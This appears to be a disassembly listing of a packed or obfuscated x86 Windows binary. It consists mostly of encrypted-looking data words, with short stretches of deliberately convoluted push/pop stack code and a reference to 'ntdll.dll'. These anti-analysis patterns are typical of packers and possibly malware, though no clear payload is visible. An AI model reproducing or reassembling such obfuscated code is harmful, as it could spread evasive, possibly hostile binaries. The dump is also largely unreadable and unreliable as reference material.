0AA2F155Ah, 0ABF839C6h, 44FB36C9h, 2C64C536h, 7086E883h dd 7CF85B05h, 20899B45h, 0E7CCD4D4h, 4064D60Eh, 0F000002h dd 0DF08C657h, 93A1B66Dh, 0E27AC752h, 0E27CBFAAh, 36045176h dd 0AF0B48C9h, 0C0F3ACEDh, 6DB4A158h, 0ED4AF5BDh, 2D56D21Fh dd 56A38E71h, 93A158BEh, 0EB14C46Dh, 0EFB0E46h, 50E1BDCFh dd 0BCCA814Fh, 0CCB09D43h, 5459E25Fh, 5B692086h, 0A73F8CA5h dd 18267D6Fh, 61F946E3h, 1E21D29h, 87744387h, 59E287A3h dd 0DDA95D2Bh, 7599FFADh, 0E5864CC0h, 0A227CBA8h, 7800000Ah dd 0C717AD6Ch, 1060F633h, 5EAE44D5h, 0A9F98FA2h, 2841D752h dd 0CA5F9CBFh, 171AE434h, 61D03181h, 0AD847BCBh, 3C294217h dd 5A7F1558h, 0C675FAE0h, 0DF3AAB34h, 0CBB0C279h, 0DEC8BBCAh dd 0B545C1BCh, 2187BE45h, 93C440E9h, 75857229h, 75517D2Ch dd 3E8B9E5Dh, 748940A6h, 48959466h, 926C78B0h, 3784A555h dd 53A3399Fh, 0BD3986ABh, 7E6B228Ah, 57644827h, 1422D9A7h dd 2CFDFDEAh, 2AE147DFh, 14EE31Ch, 0EF3F3169h, 0F3D5220Fh dd 0BB25DB0Ch, 6669EACEh, 3EA47260h, 108BB4D8h, 0AE7DF02h dd 9FC66h, 53C61E00h, 9C8D6DBDh, 0EA2FB606h, 35FC0454h dd 7DAC4F9Fh, 4265CEE7h, 8ADA70B9h, 0D727BD74h, 2171072Ah dd 0E8BD53DEh, 16FEE2CFh, 0A0865A7Fh, 49B1BF1Bh, 60DDA8E0h dd 5491D384h, 78EFFD4Bh, 30E75182h, 61A091Bh, 8F754DEAh dd 51156C57h, 0C7955177h, 0EA6FE10h, 0D88CA55Ah, 9419503h dd 1CFDE8F6h, 0D9212F86h, 0CE34F506h, 0FF35E981h, 7D1E8F4Dh dd 355E043Ch, 9AFA0CC3h, 9206A03h, 0EAD7EA22h, 576073A8h dd 9DAB6230h, 0E239CF62h, 79FCE0CDh, 6C846063h, 88389E93h dd 7682BA77h, 0C584A889h, 0DDF0500h, 94F8C30h, 19CB0000h dd 0E01A6A00h, 8263B349h, 4FB10197h, 0FFFC4CE2h, 127B942Ah dd 871D0CEFh, 0D46AC737h, 1EB47D84h, 6A0031CEh, 0AB8F7C95h dd 335A7F17h, 7E7C84Dh, 895491D4h, 0F604BB76h, 2149D90Ah dd 546C73Dh, 82BA529Fh, 0B7DA690h, 31E74254h, 1ACE639Bh dd 23100363h, 5492C83Fh, 5B93F9C7h, 93975B48h, 511F5177h dd 0BC758C9Ah, 62BD626h, 8DB15B9h, 2C780000h, 0EDDA91FBh dd 5176C362h, 5E4F4E6Ah, 2A77A243h, 5371DE92h, 0DFA0ED53h dd 5A7977FFh, 1346949Ah, 409B5869h, 16E4Ah, 3BC6F500h dd 0D0313FF6h, 447C1461h, 0EC45B99Bh, 0EF42BD9Fh, 13D42A38h dd 61F946EBh, 0DE16AEFBh, 83AE5335h, 0CD649DEDh, 3BF60816h dd 751E56EEh, 0A65DCFF9h, 0AB8F7C91h, 335491D3h, 96422D65h dd 195491D3h, 315B5D07h, 0E69D76BFh, 925515F9h, 97CF9D54h dd 0C96EBB89h, 4DDC1E2Ch, 0ACBB5115h, 0F646DC55h, 5D6F260Bh dd 0D44550B1h, 15BEF643h, 9287EC54h, 0FDD2B54h, 0D268C938h dd 0E302BEE8h, 0EB51E936h, 1D0A1F34h, 54928939h, 0DD3CA9C1h dd 0E292F890h, 0EFDA121Fh, 54928913h, 9E80CD9Bh, 0AF938060h dd 37549288h, 88472B18h, 1CF5492h, 707E359Bh, 7153A091h dd 23AA089h, 0A93EC010h, 0F58DDA57h, 9F60428Fh, 52A04592h dd 8F51AD84h, 9288BEA2h, 12784654h, 15D22C7Ch, 93E046EBh dd 0C57CEC17h, 990AE5B3h, 0C5FD27DFh, 568F9DB2h, 0A3A18572h dd 5B295492h, 6010A8F5h, 715C9485h, 51779866h, 0BA0AA06Eh dd 24A0ED44h, 6FC23EF2h, 6D248A22h, 5991A05Fh, 0BE815946h dd 33015A79h, 4C8C6E7Ch, 79BE7B5Fh, 0CF35035Ah, 1951E01Fh dd 1C2ECB70h, 0EE21836Dh, 0C53CEC69h, 9A70346Ch, 807DB2C4h dd 0CCB98E11h, 0BB768894h, 829D525h, 0A4143FBBh, 258100EDh dd 0B381575Eh, 31CD1Dh, 4AE71A6Ah, 9A7A8193h, 903AB20Ah dd 0BF116658h, 0C91D35ADh, 5C945FB6h, 2DD18DB6h, 0D5E79E04h dd 3BB0ECDCh, 0CEE1191Eh, 77BAE2E1h, 37CAE251h, 725643FAh dd 0FA5A79BFh, 9079C62Ch, 0BFAA8E7Bh, 0FC305A79h, 0A94C90A5h dd 0D60EDC8Eh, 63F930CAh, 50B1BF0Eh, 0D203A9E1h, 0AD9AAF66h dd 5491D3C9h, 0A24B8351h, 91D401E1h, 32479C54h, 9168FD20h dd 99281D2Ah, 5492BDB5h, 0F00A213Dh, 576675FAh, 5C853DF1h dd 0FCF0DE79h, 7FEA00C4h, 457CFBD5h, 69B6h, 0ADBF6100h dd 0CCA9E5D5h, 0ECD0BDE0h, 745491EAh, 0FC0840A6h, 0F1AE1FEh dd 8ECD9C2h, 905491EBh, 0B8A55CC2h, 5491EAD4h, 0DB288E5Ch dd 91EB361Ah, 0F041C054h, 0F33EC1A3h, 0E7A1C0A6h, 22CD2055h dd 0D6DB31DFh, 69C71563h, 0A199ED57h, 8872689Eh, 56BC54A1h dd 0F7E8121Eh, 46DE2BEEh, 0FB1B4AE0h, 47549291h, 0FFFF54D5h dd 0B1BF38FFh, 0FC94E150h, 0EA47B8C4h, 2E402935h, 13F30003h dd 0E8F93149h, 0DA8FF92Ch, 50EA8BE0h, 31467CF0h, 34h, 8FF92CDCh dd 0EED2BFDAh, 765491D3h, 0ADBFF3A8h, 0EBAF1FDFh, 9EB1E942h dd 0F534C68Bh, 0BF6DFE40h, 0A8E049B1h, 57DAh, 39263B00h dd 5491D355h, 0C6D70FDDh, 0DA8FF92Ch, 498AABFh, 9E0CF83Dh dd 0E734FD04h, 0C6B1E94Fh, 54923CE2h, 0BF9045C1h, 0A8ADBFACh dd 880A5C54h, 0CC4D9848h, 6D728894h, 0F2015192h, 413B03F5h dd 42F68EDBh, 20B39CC3h, 7BC22B9h, 69566BFEh, 5491D385h dd 0F6073F0Dh, 0E24FB1BFh, 0D2479EAAh, 0D3E0C485h, 59A75491h dd 0E831B483h, 0DF912352h, 73E55491h, 0FFFFF287h, 0AB34C6D6h dd 0C36E904Fh, 7761F75Dh, 3825DC4Ch, 5176F8DDh, 0CBE09765h dd 78FEFADEh, 7CB4825Ah, 0E8D5EAD3h, 5A78FF04h, 9B86BE8Ch dd 5A78FEBBh, 1F6CBD3Dh, 3B944B39h, 0EB9BCDB9h, 31CF10h dd 89794D9Ah, 91972E73h, 0C266107Bh, 747409Bh, 0F2000000h dd 104h, 0ADBF6700h, 0D5DFAB2Fh, 0B847F742h, 5C942C79h dd 641B8DB6h, 0A18FED52h, 6BA3D3A1h, 0B0354358h, 0EA50E11Fh dd 0E2CD059Dh, 5176F6F3h, 0EFD825F3h, 0C81504E1h, 0EECF830h dd 0AF56851Bh, 315A78F9h, 98AA61D0h, 875E89AEh, 9B8DC5FAh dd 0E8CE3244h, 63B961BEh, 4FE21F2Bh, 0D2F7B102h, 7EBD8EDh dd 8F5A7922h, 3FA58477h, 21B79B88h, 713F5A79h, 0C9677539h dd 0B2EA3FBBh, 98855BA6h, 5A7921B4h, 72086E3Ch, 39D7091Bh dd 0DA69F8A7h, 776996A2h, 0D9C9569h, 5A797229h, 0C82FE3B1h dd 6D89BC14h, 292565CBh, 0BEDC0DD6h, 5C807EB0h, 0E4BCB6F6h dd 71C03F16h, 40EA5D04h, 2145FCF0h, 0E8h, 0FF02B8CAh, 742809F6h dd 6BA353A1h, 90FA2C5Ah, 0F3D7C4D9h, 7D5491D3h, 2BF9AB7Eh dd 0E7191777h, 0EF27E225h, 0F3D2BFDEh, 0CA5491D3h, 2A535A00h dd 0E1470505h, 0EACBF2Ch, 39C65FFDh, 742F41F8h, 49CC08CAh dd 29C5D60Eh, 62CF3240h, 34457D15h, 0DA8FF92Ch, 6E7789E0h dd 6D7F1E9Ch, 0EA14255Dh, 467CF050h, 3631h, 14C8DA00h dd 14F8E549h, 9C579292h, 0E2181ACEh, 2CF1023Ah, 0BFDA8FF9h dd 91D3EED2h, 0F3A87654h, 34C6ACBFh, 362C3EF5h, 1AE5C6CFh dd 0FE9EAFE7h, 3A046Dh, 0BF670000h, 98E534B1h, 0F322C800h dd 0AABFD085h, 93CB5E9Ch, 91D3C4A8h, 12D9A354h, 2C82E22Ah dd 0BFA55AC0h, 9F27EFADh, 7C2C352Eh, 5F72AA7Fh, 0AB34C64Ch dd 0F890DD54h, 6DFEDD92h, 0FFFF1904h, 635065FFh, 5491D37Fh dd 0F0013907h, 0ABF839C6h, 32AD36C9h, 9630C2FAh, 0BD535E12h dd 0C3068123h, 6398A65Dh, 0A9E179C6h, 0A95260B7h, 0FE2BD080h dd 3BE119B1h, 0D7E9A008h, 1E0AC17Ah, 230EF243h, 5D7285BDh dd 4981B04Fh, 7793FF5Eh, 73607F51h, 5A79938Fh, 96E34917h dd 89469FADh, 451B772h, 0EA3FBC6Ch, 0E2CD059Dh, 5A799402h dd 0EB41979Dh, 0C10E23DDh, 5F09F129h, 40409B38h, 3Eh, 91FB2CEBh dd 0BEB3C5DAh, 9F8C4E40h, 3B5B3FCEh, 15E35492h, 0A7B5CADDh dd 0B79B8858h, 3F54923Bh, 0E8D30B71h, 51776421h, 0C586D3A1h dd 5A7963E5h, 0F96C7A80h, 409B6C4Fh, 10F30h, 39C6DB00h dd 0C1A592A7h, 495491D3h, 0D408EC7Bh, 78905491h, 0E046AC6Dh dd 0DF4AB193h, 914FB092h, 26B57C83h, 5491D342h, 0AEFB2ECCh dd 0E6966416h, 35CD1AFFh, 5FA082CFh, 0F10D3CD2h, 0FB5491D7h dd 64762D04h, 58BF6FCFh, 50427A97h, 0E532FF00h, 7B843E69h dd 6BD169B6h, 24D4C7B4h, 0C2D75177h, 794BF1D5h, 9E61795Ah dd 48AE4693h, 1C4D6894h, 0D1098ECBh, 85FF5C3h, 0DADB00FAh dd 0FDC0AA89h, 0BE649C02h, 0FFD1D595h, 0E41EE6A5h, 74DAC77Eh dd 6F576051h, 71896D5Ah, 43116063h, 782FFD0Bh, 298916Ah dd 0BCE049B2h, 0DF050897h, 2A6206E3h, 0F0000002h, 3F8F25F4h dd 88D86EBBh, 0D626BC5Dh, 2171072Ah, 0A0B94FDAh, 42E71437h dd 8FA25CACh, 0D958A9F9h, 250CF343h, 0B4A1BA8Fh, 5A7F1ED0h dd 0C6ED7258h, 2F3DF435h, 52AF5FD2h, 65B5A7DFh, 0D945499Ah dd 0BACC939h, 1FE0EEA5h, 0F52DC512h, 639EAC03h, 0A79B81CEh dd 0E383573Ah, 12235BC1h, 0DA91FB2Ch, 76FC26EDh, 0FC8FA151h dd 98C390A2h, 0EDBBC901h, 42FFDFA0h, 949A5A79h, 93691346h dd 0B84A409Bh, 0F5000000h, 0ABF839C6h, 0AAF732C9h, 91D7CDE9h dd 928D754h, 55DC2373h, 1D0A1F08h, 5491D939h, 0D8EBCFBCh dd 0A5735491h, 0A1FDBF3h, 87BF25BDh, 8F46B6E1h, 76C9AFA2h dd 29BB751h, 47D0F21Ch, 0CF68CF2h, 59D827DBh, 0A4F3CF3h dd 8A576013h, 4F705BCh, 6C596E25h, 60633488h, 180A4210h dd 0B8A533C8h, 606334D4h, 34866A57h, 400E6063h, 365AC08Eh dd 0DF054627h, 2A46EAC7h, 0F0000001h, 3F8F25F4h, 88D86EBBh dd 0D626BC5Dh, 2171072Ah, 0A0B94FDAh, 42E71437h, 8FA25CACh dd 0D958A9F9h, 250CF343h, 0B4A1BA8Fh, 5A7F1FD0h, 0C6ED7258h dd 0DE3BAA35h, 6D92E278h, 0C6D92EC4h, 3341F839h, 832C64CDh dd 3DD35EA1h, 1B82053h, 76CFBD14h, 0D42A3851h, 4078105Dh dd 9FAD6432h, 0EB3BD160h, 0FBDFCC14h, 835A78F1h, 86984FB5h dd 7F6E979Eh, 7C255DBAh, 0AE65D700h, 6449A9C1h, 0B7DBA957h dd 0DF022AB0h, 9EB75B38h, 7C000000h, 0CB1BB168h, 1464FA2Fh dd 62B248D1h, 0ADFD939Eh, 2C45DB4Eh, 0CE5BA0C3h, 1B16E838h dd 65CC3585h, 0B1807FCFh, 402D461Bh, 5A7F1F5Ch, 0BF79FEE4h dd 96E34EB1h, 0F720C6FEh, 0A1E1CE85h, 21517CE4h, 0DB240653h dd 0D73DF40Ch, 0B1AB0E20h, 0DD91A05Fh, 0C025216Dh, 0E740C59h dd 6B94E4D6h, 7E9079C6h, 8F434EB3h, 0AA95CD05h, 6E14F516h dd 77CE1C50h, 0C313A988h, 0F9CFA73Ch, 5F3C7BFh, 9070529Fh dd 258B8E57h, 929F606Eh, 0BE0CB15Ah, 4BE61928h, 979A65B5h dd 3A64Ah, 58090000h, 0FB1EC613h, 0FE33CCAEh, 0FF32CFB1h dd 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh db 0BBh, 6Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 259Ch mov [esp], ecx push 6071h mov [esp], ebp push eax push edi mov edi, 698B5AE3h mov eax, edi pop edi mov ecx, 6F788C4Ah sub ecx, eax pop eax push esp mov ebp, [esp] add esp, 4 push 64A6h mov [esp], ecx pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_546C33 ; --------------------------------------------------------------------------- db 28h, 34h, 0DEh dd 46C620F8h, 3C40226Dh, 4D79B8D3h, 0C50305EDh, 0A585C650h dd 4705E732h, 38172568h, 99B5FFCFh, 8D05E708h, 0E7392A85h dd 8BD0FF05h, 89858DD8h, 5005E71Dh, 10468h, 0C6D3FF00h dd 0E732A585h, 0BF685305h, 0FF8307F8h, 0E70899B5h, 2A858D05h dd 0FF05E739h, 488589D0h, 8305ED2Fh, 0E71809BDh, 840F0005h dd 0Bh, 11699D8Bh, 5E905E7h, 0BB000000h, 0 dd 10068h, 4CB58D00h, 5605ED2Fh, 7195FF53h, 8D05E727h dd 0ED2F4CB5h, 0E9F00305h, 1, 5C3E804Eh, 9840Fh, 3E800000h dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 5ED2F4Ch, 4895FF50h dd 5805ED2Fh, 0A467E0FFh, 2628744Eh, 21903F2Bh, 0AE33E40h dd 90922267h, 943B41BCh, 7D7742E4h, 0F7C92431h, 40B45467h dd 0DD8002Ah, 5A9B2F46h, 745E2D5Fh, 0D447085Dh, 0E947144Ch dd 8A6784Dh, 1C77371Fh, 744A1C07h, 0B4633C76h, 1C9E3479h dd 65360799h, 0C8D35722h, 23F12AE7h, 84E81D05h, 45B44756h dd 0FC292664h, 13E8033Bh, 50000000h, 1F90B481h, 0E53226E6h dd 6BE6BA84h, 1735E329h, 46B860F6h, 5911BC35h, 0C181D0B4h dd 6860h, 68FCh, 815B0000h, 14895BCEh, 0B34FF7Fh, 0BE85Ah dd 55A0000h, 2ADA4456h, 1567D184h, 0F5BF6657h, 0EA815EB9h dd 3B0874C8h, 0EE9h, 0CE722800h, 0EBA5CC5h, 2D6DF3F7h dd 813C0A1Eh, 8A49D8C2h, 81F08B02h, 0A8E4FEAh, 8B666013h dd 148961C7h, 0FBBF0F19h, 0EB83F28Bh, 8E804h, 94A90000h dd 2ADB5CF4h, 7E8AF3Bh, 0B0000000h, 0CDE4C1C8h, 0F18B576Dh dd 0FB815E58h, 0FFFF9848h, 0FF87850Fh, 3EBFFFFFh, 8D6BD1EEh dd 0ED50B98Dh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0ADB589CDh, 0F05E72Bh dd 8D89D9BFh, 5E71AA9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 8EC35646h, 8A521152h, 0A59D8B17h, 0C705E731h dd 0E72A4D85h, 633405h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 7684D123h, 0A21901D1h dd 85C7F503h, 5E72739h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4AC35343h dd 0A5D1D2E0h, 0B50B8E19h, 5E72B3Dh, 15DB5FFh, 952305E7h dd 5E70CA1h, 179595FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 162391C3h, 1CDF0053h dd 0FD958BCCh, 6A05E71Ch, 0C195FF00h, 8B05E721h, 0A478EBC0h dd 0E3C52FFBh, 687EAE71h, 9BA3CE88h, 5A310FBBh, 70B24566h dd 8D13E011h, 169B1099h, 2AC62C9Bh, 2E301A78h, 838DAD98h dd 877BDAD7h, 0C9766C23h, 0A4192B45h, 46676C82h, 72EF93Ch dd 0B7E8BA0Eh, 3E3EB4h, 0E1B352D0h, 0DF9FE8D2h, 42FD3E65h dd 0DB6E7DA4h, 0D02AEE6Ch, 0C18881DCh, 17856AA4h, 0BDC4C506h dd 3BF4F167h, 12236D81h, 6DF7B80Ch, 33BF1149h, 0EBB0A7EEh dd 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch, 88006C6Ch dd 34074621h, 0EFA3D25Dh, 480596h, 0 dd 0E9000000h, 6B4h, 0ED528C68h, 2F21E905h, 4E68FFFAh dd 0E905ED53h, 0FFFA2F17h, 0ED542868h, 2F0DE905h, 0B68FFFAh dd 0E905ED55h, 0FFFA2F03h, 0ED55C468h, 2EF9E905h, 0B668FFFAh dd 0E905ED56h, 0FFFA2EEFh, 49A7F65h, 4DE346B4h, 9B31E8FDh dd 0E67CB54Bh, 2EC46596h, 7289AC15h, 2DD121B7h, 0E31E6E04h dd 9768B84Eh, 162F049Ah, 7F244529h, 62E7CD5Ah, 1304h, 39C66700h dd 36C9ABF8h, 563665FBh, 0D85491D3h, 1D720829h, 0DA91FB2Ch dd 76FF12EDh, 7FCC9A51h, 7900DEBEh, 489F605Ah, 0C7147AB7h dd 2CCF00E5h, 0B218B0FDh, 0B442F065h, 82CF629Dh, 98ED84EAh dd 0CB513786h, 0E446FA2Fh, 0ECBD9897h, 3C271E51h, 0CDA9ED6h dd 9B2CAF59h, 2589040h, 573B0000h, 9606311Dh, 0E2AFF2DFh dd 69375176h, 0D45DA4B2h, 0E352D39Ch, 4B96A6A7h, 0CF9B018h dd 1B8CDA31h, 1F34EBB9h, 0DC391D0Ah, 0F3C1248Eh, 8EDB8064h dd 39F00A24h, 0D4A254ECh, 4C77F39Ch, 0F93825DCh, 792178B6h dd 19E6F4ABh, 0CD328218h, 422D4064h, 0A07D14EFh, 4D7FCh dd 87925200h, 0D059A1F1h, 1EFBEA3Ah, 69C83888h, 0B17883D3h dd 7699021Bh, 0BE0EA485h, 0B5BF140h, 55A53BF6h, 1CF187AAh dd 26321603h, 0D4BA5A7Fh, 0F839C64Fh, 5B3F2C41h, 0E35491D3h dd 0A5616115h, 29312B15h, 9BCC48F1h, 0A68D7A31h, 0A651779Ah dd 0F18342D8h, 0BC22A5Dh, 5EAFDB1Eh, 28956357h, 0DB6B62A7h dd 65194AD7h, 0B24A979Ah, 7987954Ch, 9BD36BB8h, 0B8C09B88h dd 2E43F5E3h, 0E5BA5D41h, 6017E5FEh, 0E5BA8F73h, 114917FEh dd 1E13EB03h, 0BF301B8h, 0C945EE26h, 1316E49Eh, 0CA09F6ADh dd 4AFBCF96h, 48B7C57Ch, 80CD5C9Fh, 6AC738E8h, 891F851Dh dd 476BC639h, 3A986230h, 15F79B78h, 14000004h, 63B349D0h dd 0ACFC9297h, 0FA4AE039h, 45952B06h, 0C4DD73B6h, 66C3385Bh dd 0B37E80D0h, 0FD34CD1Dh, 49E81767h, 0D8C5DEB3h, 5A7F26F4h dd 0C611967Ch, 0C2ABF839h, 0D3DCC0ADh, 96645491h, 1D8FB85Eh dd 0A0F95466h, 9C6DE88Dh, 0F85DA6A9h, 3C74DAF9h, 5893C29h dd 0F2115177h, 79062105h, 75DBA95Ah, 867388DFh, 5A7905A2h dd 7E245C2Ah, 1E2CE355h, 6C0451E0h, 0B8F029BCh, 0B498B8A5h dd 80985763h, 0FE03B37Eh, 816CD33h, 4DA43AF7h, 206DBC3Fh dd 0BB445088h, 28AA5428h, 170409Ch, 0E38F43CFh, 6B7D931Bh dd 70495211h, 0DB57A40Ah, 748940A8h, 6691A387h, 1F0C2B60h dd 6066923Bh, 578FF5C3h, 90E05744h, 0CDDB5D4Bh, 0BAC80031h dd 6B9C8ECh, 3411D91Bh, 33B90h, 23F6EE00h, 6CBD3D8Dh, 0BA5F86D6h dd 52CD424h, 4DDC1F6Fh, 12359EB7h, 5AAA40E9h, 0A7F78DA4h dd 0F141D75Ah, 0B88D230Eh, 27CEB29Fh, 70565A7Fh, 0F839C6EBh dd 64CD3341h, 0DC07832Ch, 855DC22h, 45530A70h, 912976BBh dd 1C314659h, 91D34B2Fh, 0CD05D354h, 76F8FBE2h, 972DFB51h dd 1A085h, 2257E800h, 0DA91FB2Ch, 0D3F4D8C5h, 0AE7C5491h dd 33766376h, 0BB5176E2h, 0D82836EDh, 0D3260C59h, 7549A386h dd 24ED258Bh, 94A683A3h, 5B697EA7h, 1BFF8EA3h, 0A34FB64Dh dd 4CB39784h, 6D3B4FB6h, 0FE29CF07h, 7EAD78Eh, 8F4C9B72h dd 0A45C8377h, 42A8408Dh, 0E0138FDCh, 95D4C178h, 10528753h dd 2011EDFBh, 0C8AC3BD3h, 505B87F5h, 6E3C4A82h, 0DB56A9B7h dd 270AF545h, 0E0A58803h, 5F03E0E3h, 258h, 700613D1h, 0B94FDA20h dd 79D7C69h, 52E849B7h, 9A30F902h, 6F51881h, 0C13D8D23h dd 778ADA70h, 2BD424BAh, 829B7006h, 7F28B195h, 0CE53395Ah dd 41F839C6h, 86F8F62Fh, 1DDD3F25h, 0C56EA60Ch, 9D641E49h dd 8A772E94h, 51779CA3h, 0F88D87A3h, 0EB8AE981h, 226FAA3Bh dd 0CF8E248Ah, 0A72A5A9h, 5F236653h, 0DDAB575Eh, 49E81826h dd 632C64FCh, 0DE53ACBAh, 0EB3ABBA6h, 79AAE63Eh, 2E43580Fh dd 426B5D41h, 0DF17E5EFh, 279111F4h, 7ECB99ECh, 0B067D102h dd 137284C3h, 7F3604F2h, 0ECA38E71h, 1506EAD7h, 0C08EFB14h dd 0B9469688h, 86415478h, 4C294454h, 19FA8h, 0BF5A8A00h dd 821D929h, 56C32272h, 0A19070C0h, 0E940BB0Bh, 0AED13A53h dd 0F646DC4Dh, 43932908h, 8DDD73BEh, 5429BF72h, 286A4E3Bh dd 0CF25A7Fh, 0F839C687h, 4DB4C2ABh, 7E058E96h, 2B9170B3h dd 680E46DEh, 2916CD3Fh, 51777E76h, 0DDCADFFEh, 5A797EF9h dd 4024B381h, 0C85A797Eh, 7DB44AFAh, 9C329830h, 43FB2C47h dd 320F457Fh, 0F3AA10B5h, 4D46CCDEh, 0B569C03Ah, 39E9F8EBh dd 47326AC7h, 517C9131h, 9EAC6331h, 0E33AD061h, 42BE29D5h dd 0CD989EFh, 0F028C00Dh, 0C9161BE4h, 0A87FCEE0h, 1F083D0Fh dd 679F926Fh, 6F2696C1h, 6A81DA82h, 0D58C5A57h, 9048B2C0h dd 6D23BFA3h, 13794760h, 0EAF62EC6h, 53651C15h, 0A1E01E2Ch dd 796BA3F8h, 0E5BD629h, 54AD6192h, 48F890DDh, 5F167C9Dh dd 51E8E772h, 0FD21EF5Dh, 0D914ADA2h, 0AD6D11EEh, 7C000000h dd 0CB1BB168h, 1464FA2Fh, 62B248D1h, 0ADFD939Eh, 2C45DB4Eh dd 0CE5BA0C3h, 1B16E838h, 65CC3585h, 0B1807FCFh, 402D461Bh dd 5A7F295Ch, 2C79FEE4h, 0CCDA91FBh, 0AFC2FA2Fh, 0BD748C9Ah dd 0D728D870h, 2937225Ah, 29517C82h, 0D32C0E5Bh, 6799A75Eh dd 50A092CAh, 4C3582AFh, 0C272A73Eh, 0D0BBF33Eh, 1F666F6Fh dd 49E7F529h, 3169C03Bh, 0C609DA25h, 8C66B632h, 1868FE64h dd 14FD4AE7h, 25F4F1FFh, 0CDB140D8h, 57A8684Eh, 8D688A9h dd 548C8D58h, 2C79B848h, 1EDCEA87h, 0F90FD30Bh, 69C956Ah dd 9BE849B6h, 3F7h, 13585A00h, 0AEFB1EC6h, 0B1FE33CCh dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h dd 0BB0811D4h, 0BB0821D9h, 0E089506Fh, 405h, 4E88300h dd 8B240487h, 28682424h, 89000051h, 8952241Ch, 4C281E2h dd 83000000h, 148704EAh, 2C895C24h, 519F6824h, 1C8B05EDh dd 4C48324h, 242C8B54h, 5304C483h, 68240481h, 8F7B203Fh dd 0BF570845h, 7B203F68h, 5F087D29h, 57242C8Bh, 0C781E789h dd 4, 8704C783h, 8B5C243Ch, 8956241Ch, 4C681E6h, 81000000h dd 4C6h, 24348700h, 2885E95Ch, 0CA8DFFFAh, 718B72BFh, 3FF26266h dd 38A766DCh, 0ED5788B8h, 0FFC50305h, 0D901E3E0h, 11151715h dd 0D25A442Ah, 71D0551Fh, 3BA7BF7Ah, 0E841573Eh, 3F6287Ah dd 7891206Ch, 980F9605h, 91EBD038h, 27C1685Bh, 0BDABDA12h dd 52119620h, 1CB18A38h, 0ECE47379h, 2992206Eh, 5972EB77h dd 5D3B2164h, 14E81Ch, 61970000h, 0BAE0623Ch, 0E3BD284Ah dd 38A83DE9h, 355F8D31h, 7E9166Bh, 0F8000000h, 0AB569254h dd 665F13A6h, 8172EBB8h, 63B4C7h, 198A0F00h, 0E9000000h dd 14h, 9614E582h, 0A628FD5Ch, 0C1BD6682h, 0AB43D987h dd 0E947A0DDh, 18B468h, 8F0F5900h, 3, 8B18C880h, 0F9C3811Fh dd 0E92E9E14h, 0Ah, 539721BBh, 1C870B3h, 0F38174B2h, 231C2AAEh dd 0B6C6ABB8h, 36C38117h, 665979B5h, 8AF9C681h, 0CA816053h dd 6C590AF5h, 13E8h, 0C2686800h, 19C368EFh, 6F3602CCh dd 0E4F7692Fh, 0A0DE6CABh, 58C68B66h, 0FC078F61h, 0A909EF81h dd 0D68B520Fh, 0A905C781h, 0BA66520Fh, 0E983877Fh, 13850F01h dd 60000000h, 18B0Fh, 61F80000h, 11E9h, 0E5396F00h, 78E92759h dd 0E3FFFFFFh, 6D272884h, 8EBEC79h, 0 dd 1BCF753Fh, 4C8E9h, 5A836800h, 20E905EDh, 68FFFA27h dd 5ED5B10h, 0FA2716E9h, 5C8668FFh, 0CE905EDh, 48FFFA27h dd 97E77D9Ch, 0E030C663h, 2E7E1405h, 79C95FD2h, 0F811A782h dd 9A8F6C8Fh, 0E74AB404h, 31000151h, 7DB44B9Bh, 0CF912E7h dd 5A7F2D28h, 0BF45CAB0h, 92DF4AB1h, 0C62D46FAh, 97E3B5E1h dd 81A8535Fh, 3AAD5234h, 88206DC4h, 0BF0C0DD8h, 412BC127h dd 0DDEFA616h, 824E450h, 0FF124A4Dh, 778DA712h, 94E1AF51h dd 798FF3D3h, 24398E5Ah, 798F5337h, 0D50DDB5Ah, 0E690FB11h dd 0C7409B40h, 30Ah, 0BDAABF72h, 5491D3D9h, 0E05B9361h dd 2494BF93h, 0B04A586Dh, 5C942C79h, 76E22E71h, 7BE8B651h dd 0DBE813FAh, 0E0487BAFh, 74F53C29h, 5B7054C3h, 0C5748A6Eh dd 2FF6125Dh, 0A3E6DFF9h, 31CE7EE4h, 0E31BB300h, 0A443BDD5h dd 0EE86D356h, 5D6B2288h, 77BA44A3h, 18E2C411h, 0C62CC411h dd 3E69E58Eh, 742A17CEh, 0F45AAA3Eh, 0AA1009DCh, 171AE5F3h dd 63CE3181h, 0BC422F3Fh, 0F89C79DBh, 307h, 0E87E9B49h dd 31C76298h, 7F1504E1h, 0CA60D12Fh, 12A8817Ah, 8E6D90F9h dd 49B5059Bh, 0FF0252E8h, 0B34C9C32h, 0FA13E87Eh, 7F2E290Dh dd 46CBB15Ah, 0DA91FB2Ch, 7C8ADCEDh, 0DDCADF51h, 5A7F2DF9h dd 99986981h, 0B57C8333h, 0EAA16F7Dh, 0BF0C25DCh, 0CEDCEF27h dd 0E54CB22Dh, 49A0098h, 699847B4h, 541562C8h, 0B15B86EBh dd 8ECD9EEh, 905A7F2Eh, 5CA98878h, 1A265EC4h, 20E1FEE5h dd 477B0595h, 42BBBDE1h, 2805E4E9h, 27A84h, 0B0ED600h dd 54D52575h, 0A2776EBEh, 0ED44BC0Ch, 35F40757h, 0FA1D869Fh dd 42922801h, 8FDF75BCh, 0D929BF72h, 0A0750B26h, 2EB69A87h dd 583E5A7Fh, 91FB2CD3h, 8ADCEDDAh, 16E4517Ch, 2E2808C9h dd 0BDC35A7Fh, 0A2923C2Fh, 0AF734091h, 1E000001h, 0ABF839C6h dd 4EB136C9h, 98FE96E3h, 0FBDFCCE1h, 835491D3h, 0A18B7DB5h dd 624F0676h, 5176E003h, 987C697Eh, 1E5A78DFh, 3F79E685h 